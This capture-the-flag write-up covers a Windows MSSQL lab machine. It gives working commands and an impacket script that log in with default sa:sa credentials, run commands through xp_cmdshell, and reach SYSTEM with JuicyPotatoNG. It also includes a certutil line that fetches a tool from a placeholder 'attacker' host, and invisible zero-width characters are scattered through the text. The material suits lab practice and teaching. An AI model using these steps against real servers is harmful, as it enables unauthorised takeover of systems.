Лучник (Archer)

Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: JuicyPotatoNG privilege escalation to SYSTEM, MSSQL default credentials exploitation (sa:sa), SeImpersonatePrivilege abuse, xp_cmdshell for Remote Code Execution

Summary

Task: Windows Server 2016 pentest with MSSQL Server 2022. Solution: Exploited default sa:sa credentials, used xp_cmdshell for RCE, then escalated to SYSTEM via JuicyPotatoNG abusing SeImpersonatePrivilege.

Лучник (Archer) - HackerLab

Description

Pentest Machines challenge on Windows Server 2016 with MSSQL Server 2022.

Target: 192.169.2.14 (Windows Server 2016)

Analysis

1. Port Scanning

 bash read-only • copy allowed Copy
nmap -sV -sC 192.169.2.14

Discovered services:

• DNS (53/tcp) - open but doesn't respond to DNS queries (red herring)
• MSSQL (1433/tcp) - Microsoft SQL Server 2022 - main attack vector

2. MSSQL with Default Credentials

Connecting to MSSQL with default credentials sa:sa:

 python read-only • copy allowed Copy
from impacket.tds import MSSQL
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ms = MSSQL('192.169.2.14', 1433)
ms.connect()
ms.login(None, 'sa', 'sa', None, None, False)
# Login successful!

3. Checking xp_cmdshell

xp_cmdshell is already enabled on the server:

 sql read-only • copy allowed Copy
EXEC xp_cmdshell 'whoami';
-- nt service\mssqlserver

4. Checking Privileges

 sql read-only • copy allowed Copy
EXEC xp_cmdshell 'whoami /priv';

Found SeImpersonatePrivilege - the key to privilege escalation!

Solution

Step 1: Connecting to MSSQL

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from impacket.tds import MSSQL

ms = MSSQL('192.169.2.14', 1433)
ms.connect()
ms.login(None, 'sa', 'sa', None, None, False)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def sql_exec(cmd):
    ms.sql_query(f"EXEC xp_cmdshell '{cmd}'")
    ms.printReplies()
    ms.printRows()

Step 2: File System Reconnaissance

 python read-only • copy allowed Copy
sql_exec('dir C:\\temp')
# Found JuicyPotatoNG.exe (left by previous users)

Step 3: Privilege Escalation with JuicyPotatoNG

JuicyPotatoNG exploits SeImpersonatePrivilege to obtain SYSTEM:

 python read-only • copy allowed Copy
# Execute command as SYSTEM
sql_exec('C:\\temp\\JuicyPotatoNG.exe -t * -p "cmd.exe" -a "/c whoami > C:\\temp\\out.txt 2>&1"')
sql_exec('type C:\\temp\\out.txt')
# nt authority\system

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Obtaining Flags

User flag:

 python read-only • copy allowed Copy
sql_exec('C:\\temp\\JuicyPotatoNG.exe -t * -p "cmd.exe" -a "/c type C:\\Users\\petr.sidorenko\\Desktop\\user.txt > C:\\temp\\out.txt 2>&1"')
sql_exec('type C:\\temp\\out.txt')
# CODEBY{Silv3r_

Root flag:

 python read-only • copy allowed Copy
sql_exec('C:\\temp\\JuicyPotatoNG.exe -t * -p "cmd.exe" -a "/c type C:\\Users\\Administrator\\Desktop\\root.txt > C:\\temp\\out.txt 2>&1"')
sql_exec('type C:\\temp\\out.txt')
# 4Rr0W_Tru3}

Lessons

1. Default credentials - NEVER leave default passwords in production
2. xp_cmdshell - should be disabled if not used
3. SeImpersonatePrivilege - standard privilege for service accounts, but allows escalation
4. JuicyPotatoNG - works on Windows Server 2016-2022, bypasses original JuicyPotato protections
5. Service accounts - use gMSA or minimal privileges ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Chain

MSSQL (1433) → Default sa:sa → xp_cmdshell RCE → SeImpersonatePrivilege → JuicyPotatoNG → SYSTEM → Flag

Alternative Methods

If JuicyPotatoNG is not found on the server:

1. Download via certutil: certutil -urlcache -split -f http://attacker/JuicyPotatoNG.exe C:\temp\jp.exe
2. Use PrintSpoofer: PrintSpoofer.exe -i -c cmd
3. Use GodPotato: GodPotato.exe -cmd "cmd /c whoami"
4. Use SweetPotato for older Windows versions ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍